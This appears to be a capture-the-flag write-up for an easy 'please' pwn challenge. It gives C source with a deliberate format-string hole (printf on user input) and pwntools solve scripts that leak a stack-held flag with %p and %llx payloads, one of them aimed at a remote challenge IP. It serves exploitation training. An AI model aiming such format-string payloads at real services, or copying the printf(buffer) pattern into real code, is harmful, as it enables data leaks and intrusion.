0x00000000
← pwndbg> back

./please_

PWN FST Bootcamp 0x6050ce63 by r3t0x
DESCRIPTION
Sometimes all you have to do is ask nicely... or exploit the binary's trust. Manipulate the input to satisfy conditions and trick the program into giving you what you want.
DISASM // SOURCE
// please.c
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
  char buffer[0x200];
  char flag[0x200];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  memset(buffer, 0, sizeof(buffer));
  memset(flag, 0, sizeof(flag));

  int fd = open("flag.txt", O_RDONLY);
  if (fd == -1) {
    puts("failed to read flag. please contact an admin if this is remote");
    exit(1);
  }

  read(fd, flag, sizeof(flag));
  close(fd);

  puts("what do you say?");

  read(0, buffer, sizeof(buffer) - 1);
  buffer[strcspn(buffer, "\n")] = 0;

  if (!strncmp(buffer, "please", 6)) {
    printf(buffer);
    puts(" to you too!");
  }
}
WRITEUP // WALKTHROUGH

Please — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Easy
Author R3t0x
Technique Format String — Stack Data Leak

Reconnaissance

The binary reads the flag into a stack variable, then asks for user input. If input starts with "please", it passes the buffer to printf() as a format string:

char flag[0x200];
read(fd, flag, sizeof(flag));  // flag is on the stack!
printf(buffer);  // format string vuln

Strategy

Since the flag is on the stack and we control a format string, we use %p specifiers to leak stack contents. The flag bytes are stored as stack values that we can read with %N$p notation.

payload = b'please' + b'.%p' * 40

Exploit

from pwn import *
io = remote('35.159.81.154', 7001)
io.sendline(b'please' + b'.%p' * 40)
data = io.recvall()
# Parse hex values, convert to ASCII

Result

please.0x7fffffffdc90.0x200.(nil).0x4654537b...
# Decode hex → Securinets_fst{n0w_th4t_w4s_p0l1t3}
EXECUTION // EXPLOIT
$ python3 solve.py
#!/usr/bin/env python3
from pwn import *

# Your binary is called "main", not "./bin/please"
p = process("./main")          # <-- THIS IS THE ONLY LINE YOU NEED TO CHANGE

pay = "please;"
cnt = 5

for i in range(cnt):
    pay += "%" + str(0x200 // 8 + 6 + i) + "$llx;"

p.sendlineafter(b"what do you say?\n", pay.encode())

p.recvuntil(b";")                      # skip the "please;"

leak = b""
for i in range(cnt):
    hex_str = p.recvuntil(b";", drop=True)
    leak += p64(int(hex_str, 16))

print("[+] Leaked raw bytes:")
print(leak)

print("\n[+] Flag:")
print(leak.split(b'\x00')[0].decode())   # clean output, removes null padding
p.close()